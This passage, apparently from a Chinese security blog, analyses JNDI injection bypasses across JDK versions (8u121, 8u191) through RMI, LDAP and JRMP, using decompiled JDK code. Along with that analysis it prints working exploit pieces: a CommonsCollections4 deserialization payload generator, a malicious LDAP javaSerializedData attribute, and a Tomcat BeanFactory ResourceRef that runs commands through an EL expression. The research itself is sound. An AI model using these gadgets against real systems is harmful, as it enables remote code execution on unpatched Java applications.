try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

其中,的确对返回数据进行了反序列化,也就是说,在jdk8u121之后,可以通过UnicastRef这个在RMI反序列化白名单内的gadget进行攻击。

因此,我们可以通过这个payload绕过RMI反序列化白名单限制,虽然,白名单是绕过了,但是还是存在gadget依赖问题,如果没有相应的gadget依赖,我们也没办法达到RCE。

不过,这里可以总结一下了:ysoserial的JRMPClient payload是为了绕过jdk8u121后出现的白名单限制。

RMI反序列化远程Reference对象加载远程字节码不被信任

说完需要gadget依赖的打法限制问题了,那么我们再来看看前面所讲的JNDI攻击客户端在jdk8u121+中的问题

1
new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")

在jdk8u121之后,对于Reference加载远程代码,由于jdk的信任机制,在通过rmi加载远程代码的时候,会判断环境变量

1
com.sun.jndi.rmi.object.trustURLCodebase

是否为true,而其在121版本及后,默认为false,也就是说,在jdk8u121之后,我们就没办法通过rmi协议实现JNDI注入打客户端了。

LDAP通过Reference加载远程代码

那么,有没有其他办法绕过远程代码加载的保护机制呢?

有,使用ldap协议的JNDI,具体怎么搭这样的一个服务这里就不讲了,marshalsec也有现成的,我们这里只试试对客户端的攻击,并看看客户端做了什么事情吧。

大概触发RCE的执行栈是这样的:

1
2
3
4
5
6
7
8
9
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:17, JndiAttackLookup (com.threedr3am.bug.rmi.client)

在jdk191以前的版本里面,我并没有找到相关类似远程代码信任机制的东西,也就是说,通过ldap协议的jndi服务方式,在jdk8u121后,能通过ldap协议实现JNDI注入打客户端:

1
new InitialContext().lookup("ldap://127.0.0.1:1099/Calc")

具体原理,从“com.sun.jndi.ldap.LdapCtx#c_lookup”可以发现:

1
2
3
4
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}

在解析LDAP服务返回的attributes的时候,如果存在javaClassName这个attribute的话,就会进入到“com.sun.jndi.ldap.Obj#decodeObject”的代码逻辑中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

从这里面不难看出,当attributes中不存在javaSerializedData和javaRemoteLocation属性时,则会进入到“com.sun.jndi.ldap.Obj#decodeReference”的代码逻辑中来,暂且不提其他两个分支的实现,我们跟入到decodeReference中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
String var4 = null;
Attribute var2;
if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
} else {
String var3 = (String)var2.get();
if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
var4 = (String)var2.get();
}

Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
BASE64Decoder var13 = null;
ClassLoader var14 = helper.getURLClassLoader(var1);
Vector var15 = new Vector();
var15.setSize(var2.size());
NamingEnumeration var16 = var2.getAll();

while(var16.hasMore()) {
String var6 = (String)var16.next();
if (var6.length() == 0) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - empty attribute value");
}

char var9 = var6.charAt(0);
byte var10 = 1;
int var11;
if ((var11 = var6.indexOf(var9, var10)) < 0) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - separator '" + var9 + "'not found");
}

String var7;
if ((var7 = var6.substring(var10, var11)) == null) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - empty RefAddr position");
}

int var12;
try {
var12 = Integer.parseInt(var7);
} catch (NumberFormatException var18) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - RefAddr position not an integer");
}

int var19 = var11 + 1;
if ((var11 = var6.indexOf(var9, var19)) < 0) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - RefAddr type not found");
}

String var8;
if ((var8 = var6.substring(var19, var11)) == null) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - empty RefAddr type");
}

var19 = var11 + 1;
if (var19 == var6.length()) {
var15.setElementAt(new StringRefAddr(var8, (String)null), var12);
} else if (var6.charAt(var19) == var9) {
++var19;
if (var13 == null) {
var13 = new BASE64Decoder();
}

RefAddr var17 = (RefAddr)deserializeObject(var13.decodeBuffer(var6.substring(var19)), var14);
var15.setElementAt(var17, var12);
} else {
var15.setElementAt(new StringRefAddr(var8, var6.substring(var19)), var12);
}
}

for(int var20 = 0; var20 < var15.size(); ++var20) {
var5.add((RefAddr)var15.elementAt(var20));
}
}

return var5;
}
}

可以看到,本地实例化了一个Reference对象,然后把attributes中的一些数据设置进去了,无论是本地实例化的,亦或者是像RMI那样远程反序列化的Reference,他们得到的对象都是几乎一样的。

在得到Reference对象后,最后执行的代码和RMI协议实现JNDI注入时的代码是一致的,都是通过Reference对象的数据,加载到远程字节码并且执行。

三、jdk版本 > jdk8u191

LDAP通过Reference加载远程代码不被信任

为什么继续讲jdk8u191呢,因为在jdk8u191之后,加入了对LDAP Reference加载远程代码的信任机制,LDAP加载远程代码攻击的方式开始失效,也就是系统变量

1
com.sun.jndi.ldap.object.trustURLCodebase

默认为false(CVE-2018-3149)

LDAP通过javaSerializedData返回序列化gadget方式(反序列化或后反序列化触发)实现攻击

既然不能去Reference加载远程代码执行了,那么,是不是能不用Reference去加载呢,或者还有其他什么样的方式实现RCE呢?

对,还有两种方式。

第一种是直接通过反序列化gadget实现RCE,看执行栈:

1
2
3
4
5
6
7
8
9
deserializeObject:527, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:42, JndiAttackLookup (com.threedr3am.bug.rmi.client)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;

Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}

}

return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}

也就是,可以通过修改ldap服务的对象返回内容,达到反序列化攻击

为什么呢,看上一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

其中

1
(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null

判断了JAVA_ATTRIBUTES[1]是否为空,这是哪个参数呢?

1
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

是一个名为javaSerializedData的参数,所以,我们可以通过修改ldap服务直接返回javaSerializedData参数的数据(序列化gadget数据),达到反序列化RCE

首先,我们通过该方法,制造Common-Collectios4 gadget的base64序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private static byte[] makePayload(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(args[0]);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();

}

接着,添加ldap服务的attribute javaSerializedData

1
e.addAttribute("javaSerializedData", classData);

总结:jdk8u191后,ldap Reference加载远程代码的攻击方式不能使用,需要通过javaSerializedData返回序列化gadget方式实现

而第二种方式则是通过tomcat gadget的BeanFactory方式实施的后反序列化RCE,同样是通过javaSerializedData返回序列化gadget方式实现,但因为tomcat的gadget需要利用反序列化后的一些代码操作,也就是反序列化后对Reference对象一些方法的执行而触发的,所以,总体来说,它们之间更像是一种包含与被包含的关系。

先看一下tomcat的gadget:

1
2
3
4
5
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](" + stringBuilder.toString() + ").start()\")"));

可以看到,这个Reference对象的真正实例是ResourceRef,然后我们再看看“javax.naming.spi.DirectoryManager#getObjectInstance”的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

ObjectFactory factory;

ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}

// use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs
// ignore name & attrs params; not used in URL factory

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer = createObjectFromFactories(refInfo, name, nameCtx,
environment, attrs);
return (answer != null) ? answer : refInfo;
}

当在执行“javax.naming.spi.DirectoryManager#getObjectInstance”方法获取对象实例的时候,它会先加载本地依赖中的FactoryClassName “org.apache.naming.factory.BeanFactory”,然后实例化这个工厂类,接着通过这个工厂类去获得”javax.el.ELProcessor“实例对象,从而根据StringRefAddr的描述进行触发其对象的方法,达到RCE的目的。

总结:jdk8u191后,ldap Reference加载远程代码的攻击方式不能使用,需要通过javaSerializedData返回序列化gadget方式实现,而序列化gadget可以使用tomcat中的gadget “org.apache.naming.factory.BeanFactory”,在其后反序列化中触发RCE。

0x04 缺少的RMI后反序列化

实际上,在jdk8u121的RMI反序列化Reference加载远程代码保护机制出来之后,实际上和LDAP通过后反序列化Reference触发的tomcat gadget一样,RMI也可以通过反序列化Reference触发的tomcat gadget实现RCE,这里不做对其的讲解,一个原因是jdk8u121至jdk8u191之间的版本能通过LDAP Reference加载远程代码造成RCE,另一个原因是在jdk8u191之后的版本亦能通过后反序列化Reference触发的tomcat gadget造成RCE,所以说,根本没有必要在费口水。

0x05 JRMP Gadget还有用吗?

很多人以为天天讲RMI攻击什么的,觉得很鸡肋,其实并不然,其中涉及到的很多知识,在其他地方我们完全能用上,就比如,我们使用RMI和LDAP协议的JNDI去攻击客户端,以及我前段时间讲的Shiro文章《Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC》,完全可以利用JRMPClient的gadget payload去加快Padding Oracle CBC攻击的速度等等…

0x06 参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)